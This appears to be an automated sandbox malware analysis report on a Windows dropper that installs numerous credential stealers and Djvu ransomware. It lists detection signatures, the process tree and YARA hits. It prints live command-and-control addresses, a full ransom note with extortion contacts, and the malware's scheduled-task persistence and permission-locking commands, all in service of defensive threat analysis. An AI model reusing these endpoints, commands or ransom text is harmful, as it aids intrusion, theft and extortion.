Edit tour

Windows Analysis Report
BI6oo9z4In.exe

Overview

General Information

Sample name:	BI6oo9z4In.exe renamed because original name is a hash value
Original sample name:	04196b8a0869c9f19b3805b4f861a0e1.exe
Analysis ID:	1447048
MD5:	04196b8a0869c9f19b3805b4f861a0e1
SHA1:	8ed2478e15af46fa12059bc2e47cc638f3238fb0
SHA256:	34f4c84b4046eb6c9b1a30ebaecc226f60170d8c575319354ae120c40e589973
Tags:	64exe
Infos:

Detection

CryptOne, Djvu, LummaC Stealer, Mars Stealer, PureLog Stealer, RedLine, RisePro Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected AntiVM3

Yara detected CryptOne packer

Yara detected Djvu Ransomware

Yara detected LummaC Stealer

Yara detected Mars stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected RedLine Stealer

Yara detected RisePro Stealer

Yara detected Stealc

Yara detected Vidar

Yara detected Vidar stealer

Yara detected zgRAT

Adds extensions / path to Windows Defender exclusion list (Registry)

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Connects to many ports of the same IP (likely port scanning)

Contains functionality to inject code into remote processes

Creates HTML files with .exe extension (expired dropper behavior)

Creates multiple autostart registry keys

Disable Windows Defender real time protection (registry)

Disables Windows Defender (deletes autostart)

Drops PE files to the document folder of the user

Exclude list of file types from scheduled, custom, and real-time scanning

Found direct / indirect Syscall (likely to bypass EDR)

Found many strings related to Crypto-Wallets (likely being stolen)

Found stalling execution ending in API Sleep call

Hides threads from debuggers

Injects a PE file into a foreign processes

Installs new ROOT certificates

Machine Learning detection for dropped file

Modifies Group Policy settings

Opens network shares

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

PE file has nameless sections

Performs DNS queries to domains with low reputation

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses process hollowing technique

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Uses known network protocols on non-standard ports

Uses schtasks.exe or at.exe to add and modify task schedules

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Connects to many different domains

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops certificate files (DER)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Installs a Chrome extension

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

PE file does not import any functions

Queries disk information (often used to detect virtual machines)

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Sigma detected: Chromium Browser Instance Executed With Custom Extension

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Windows Defender Exclusions Added - Registry

Uses cacls to modify the permissions of files

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

BI6oo9z4In.exe (PID: 6852 cmdline: "C:\Users\user\Desktop\BI6oo9z4In.exe" MD5: 04196B8A0869C9F19B3805B4F861A0E1)

8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe (PID: 6832 cmdline: C:\Users\user\Documents\SimpleAdobe\8WUnp6Y_Ak5XjHYYEp1aIJYJ.exe MD5: 6BC7F3C7927F5FC13A4410F1770C2DFE)

HXqqC3YwnKDsi7zeJNheTOoZ.exe (PID: 1608 cmdline: C:\Users\user\Documents\SimpleAdobe\HXqqC3YwnKDsi7zeJNheTOoZ.exe MD5: D79B788762C6435AE9F599743F9F482D)

RegAsm.exe (PID: 5868 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

LLNkfgDtZiUZkTn30_sZHJcE.exe (PID: 3228 cmdline: C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe MD5: D9A7D15AE1511095BC12D4FAA9BE6F70)

MSBuild.exe (PID: 7684 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe MD5: 8FDF47E0FF70C40ED3A17014AEEA4232)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

Q7vDtN_em7fitYNxQll9ewNo.exe (PID: 2484 cmdline: C:\Users\user\Documents\SimpleAdobe\Q7vDtN_em7fitYNxQll9ewNo.exe MD5: DA2163C91450CEDDEE87651347B25C96)

uyMYdkI0kpEOwxO0H1smOiYQ.exe (PID: 3608 cmdline: C:\Users\user\Documents\SimpleAdobe\uyMYdkI0kpEOwxO0H1smOiYQ.exe MD5: 0951BF8665040A50D5FB548BE6AC7C1D)

chrome.exe (PID: 7860 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8120 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension" MD5: 69222B8101B0601CC6663F8381E7E00F)

H61tUtaRHb9b8i2Ptr3ABL5b.exe (PID: 3004 cmdline: C:\Users\user\Documents\SimpleAdobe\H61tUtaRHb9b8i2Ptr3ABL5b.exe MD5: A032B8D3908C0282D9ACB8647CEC1765)

schtasks.exe (PID: 7712 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7960 cmdline: schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST MD5: 48C2FE20575769DE916F48EF0676A965)

conhost.exe (PID: 7976 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

_vgILobA0xXbWeowDxO5iZdo.exe (PID: 4460 cmdline: C:\Users\user\Documents\SimpleAdobe\_vgILobA0xXbWeowDxO5iZdo.exe MD5: FF620B1758C719708D6CECA3B280ABC0)

DbsmJHnmNOlKFVGvWfuU03Cy.exe (PID: 4192 cmdline: C:\Users\user\Documents\SimpleAdobe\DbsmJHnmNOlKFVGvWfuU03Cy.exe MD5: A2A4B134591EF73161CE1E353605E858)

katC73D.tmp (PID: 7400 cmdline: C:\Users\user\AppData\Local\Temp\katC73D.tmp MD5: 66064DBDB70A5EB15EBF3BF65ABA254B)

0TN7dY_Xsg2P0AdS9Hdzos_q.exe (PID: 1028 cmdline: C:\Users\user\Documents\SimpleAdobe\0TN7dY_Xsg2P0AdS9Hdzos_q.exe MD5: 3955AF54FBAC1E43C945F447D92E4108)

FDsH_f9gemssdAs7w06vZwlL.exe (PID: 4048 cmdline: C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe MD5: 6012D4B3C55C25ACDB40AD82652ACDF5)

jNWxa0Pc_jGneI3LjcIqUJSt.exe (PID: 5696 cmdline: C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe MD5: 503AEEC17EEE650E815927B78D27AAEF)

jNWxa0Pc_jGneI3LjcIqUJSt.tmp (PID: 7484 cmdline: "C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp" /SL5="$40382,5476278,54272,C:\Users\user\Documents\SimpleAdobe\jNWxa0Pc_jGneI3LjcIqUJSt.exe" MD5: F1EE51C7EACCE1E7DE399503FCF98464)

zvaervideorecorder.exe (PID: 7656 cmdline: "C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe" -i MD5: 043BBFBF3F9119E9ACD330980383D523)

mqno7fOpkNXkRXNi1WQAv6HN.exe (PID: 6064 cmdline: C:\Users\user\Documents\SimpleAdobe\mqno7fOpkNXkRXNi1WQAv6HN.exe MD5: D43AC79ABE604CAFFEFE6313617079A3)

nDCHNmvRZpJ9pfO5sjkcNCmB.exe (PID: 5100 cmdline: C:\Users\user\Documents\SimpleAdobe\nDCHNmvRZpJ9pfO5sjkcNCmB.exe MD5: E154829A16292C782B579D217E0EA8BF)

RegAsm.exe (PID: 7212 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

XUm5iHwFVfNXnTAqN672Jc3R.exe (PID: 7092 cmdline: C:\Users\user\Documents\SimpleAdobe\XUm5iHwFVfNXnTAqN672Jc3R.exe MD5: 029B4A16951A6FB1F6A1FDA9B39769B7)

unbmFXV_GPtCMFoyWe7JMXak.exe (PID: 1908 cmdline: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

unbmFXV_GPtCMFoyWe7JMXak.exe (PID: 7356 cmdline: C:\Users\user\Documents\SimpleAdobe\unbmFXV_GPtCMFoyWe7JMXak.exe MD5: ADD437E239EBA1CEABCA80AF38F80B56)

icacls.exe (PID: 8096 cmdline: icacls "C:\Users\user\AppData\Local\84679a19-0f45-4e6d-bca5-a027588bcda7" /deny *S-1-1-0:(OI)(CI)(DE,DC) MD5: 2E49585E4E08565F52090B144062F97E)

WuCWK8yqSjYPSqgAmQSoYHzV.exe (PID: 8 cmdline: C:\Users\user\Documents\SimpleAdobe\WuCWK8yqSjYPSqgAmQSoYHzV.exe MD5: AA91E10DDEC556679F0411387B52FC53)

Install.exe (PID: 7560 cmdline: .\Install.exe MD5: 4940E4F22CE7C072AC676E4493F6277C)

Install.exe (PID: 7992 cmdline: .\Install.exe /ifrdidZGrX "525403" /S MD5: FDF1795DD29A5501FC75C8FF7C24ADDA)

svchost.exe (PID: 7104 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7140 cmdline: C:\Windows\System32\svchost.exe -k NetSvcs -p -s NcaSvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7144 cmdline: C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

svchost.exe (PID: 7752 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

WerFault.exe (PID: 7896 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 3228 -ip 3228 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 8064 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

MPGPH131.exe (PID: 8088 cmdline: C:\ProgramData\MPGPH131\MPGPH131.exe MD5: A032B8D3908C0282D9ACB8647CEC1765)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
STOP, Djvu	STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.	No Attribution	https://angle.ankura.com/post/102het9/the-stop-ransomware-variant https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/ https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/ https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/	https://malpedia.caad.fkie.fraunhofer.de/details/win.stop

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: StealC

{"C2 url": "185.172.128.170/7043a0c6a68d9c65.php"}

Threatname: Vidar

{"C2 url": "http://185.172.128.170/7043a0c6a68d9c65.php"}

Threatname: Djvu

{"Download URLs": [""], "C2 url": "http://cajgtus.com/lancer/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nDo not ask assistants from youtube and recovery data sites for help in recovering your data.\r\nThey can use your free decryption quota and scam you.\r\nOur contact is emails in this text document only.\r\nYou can get and look video overview decrypt tool:\r\nhttps://wetransfer.com/downloads/33b490a613f49fa190924f199d2c079e20240512191214/caaf73\r\nPrice of private key and decrypt software is $999.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $499.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@freshingmail.top\r\n\r\nReserve e-mail address to contact us:\r\ndatarestorehelpyou@airmail.cc\r\n\r\nYour personal ID:\r\n0873PsawqS", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\", "F:\\PerfLogs\\", "F:\\ProgramData\\Desktop\\", "F:\\ProgramData\\Microsoft\\", "F:\\Users\\Public\\", "F:\\$Recycle.Bin\\", "F:\\$WINDOWS.~BT\\", "F:\\dell\\", "F:\\Intel\\"], "Public Key": "-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA8xYa6j6LzNJB2kuwO9Xc\\\\nSWMnTH6B2dX\\/XX8jCZc7kUlSg50HcwN2bYxLmKAwhfJZPFIYAufx4nMDKTEKIK5\\/\\\\n4RtQWlcufmpr7vcIJMnyyxwwyni9YfRUJR5VIIhfKzQE3gIQZ29b3M6dqzQeQ+oX\\\\nxHUQPadvTz\\/oYY7IbyFLZsHCxHKG2G2v4Yg4SX0nqMuvuzdAT+fLgmZd1ENiuf4U\\\\nWhF6Td3TAs0EkPT6MrxIXCKIQS5LAXEBcAlxRfv4QU03yP7NBxk4\\/gW6l4kV3RuO\\\\nbgqMAuPe3AkrIuOm1zi5FGsr7e8Y8KYE\\/RfQnJe+eOsmXlnhEpJGk1OLIrGxPETz\\\\nUQIDAQAB\\\\n-----END PUBLIC KEY-----"}

Threatname: RedLine

{"C2 url": ["5.42.65.115:40551"], "Bot Id": "LogsDiller Cloud (TG: @logsdillabot)", "Authorization Header": "3a050df92d0cf082b2cdaf87863616be"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_Vidar_2	Yara detected Vidar	Joe Security
Click to see the 1 entries

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\jYL1hclCVelFzk05W8_PnMT.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\AppData\Local\Temp\FVt3eIEv9kpaJcahG65l2E0.zip	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
C:\Users\user\Documents\SimpleAdobe\LLNkfgDtZiUZkTn30_sZHJcE.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
0000000B.00000002.2429616383.0000000005863000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000E.00000002.2377978452.00000000048C0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000011.00000002.1892646275.0000000000197000.00000004.00000001.01000000.00000011.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000013.00000002.1907465185.00000000021E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000001E.00000002.2014980046.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000003.1897275221.00000000048F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000E.00000002.2376588491.0000000002E02000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000008.00000002.2217900241.00000000061BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000E.00000002.2372864881.0000000000447000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000E.00000002.2376434114.0000000002D9B000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0xf68:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000000B.00000003.2323555077.0000000005A80000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000E.00000002.2372864881.0000000000400000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_MarsStealer	Yara detected Mars stealer	Joe Security
0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1915865994.0000000002500000.00000040.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x20df0:$s1: JohnDoe 0x20de8:$s2: HAL9TH
0000000E.00000002.2376588491.0000000002DB0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2174149135.000000000576A000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000016.00000002.2332840507.0000000003447000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000002A.00000002.2391836723.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002A.00000002.2390107762.0000000001379000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000015.00000002.2467246843.0000000000572000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000009.00000002.2260956551.0000028B1B1E0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Donutloader_f40e3759	unknown	unknown	0x7b11:$x64: 06 B8 03 40 00 80 C3 4C 8B 49 10 49 0xb05f:$x86: 04 75 EE 89 31 F0 FF 46 04 33 C0 EB
00000008.00000003.2132917320.00000000069A0000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
0000002A.00000003.2370659744.00000000013D9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000013.00000002.1907412853.000000000214D000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000005.00000003.2173869303.00000000056FB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000016.00000002.2265895293.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1921086630.0000000004270000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
0000000C.00000002.1941148148.0000000004570000.00000004.00001000.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation	Detects executables containing potential Windows Defender anti-emulation checks	ditekSHen	0x221f0:$s1: JohnDoe 0x221e8:$s2: HAL9TH
0000000C.00000002.1921086630.0000000004379000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Crypt	Yara detected CryptOne packer	Joe Security
0000002A.00000002.2390107762.00000000012DD000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000015.00000002.2478023028.00000000014BC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.1892628949.0000000000687000.00000004.00000001.01000000.00000007.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.2263258609.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000007.00000002.2185945758.000000000450C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000005.00000002.2236046585.0000000000ECB000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RiseProStealer	Yara detected RisePro Stealer	Joe Security
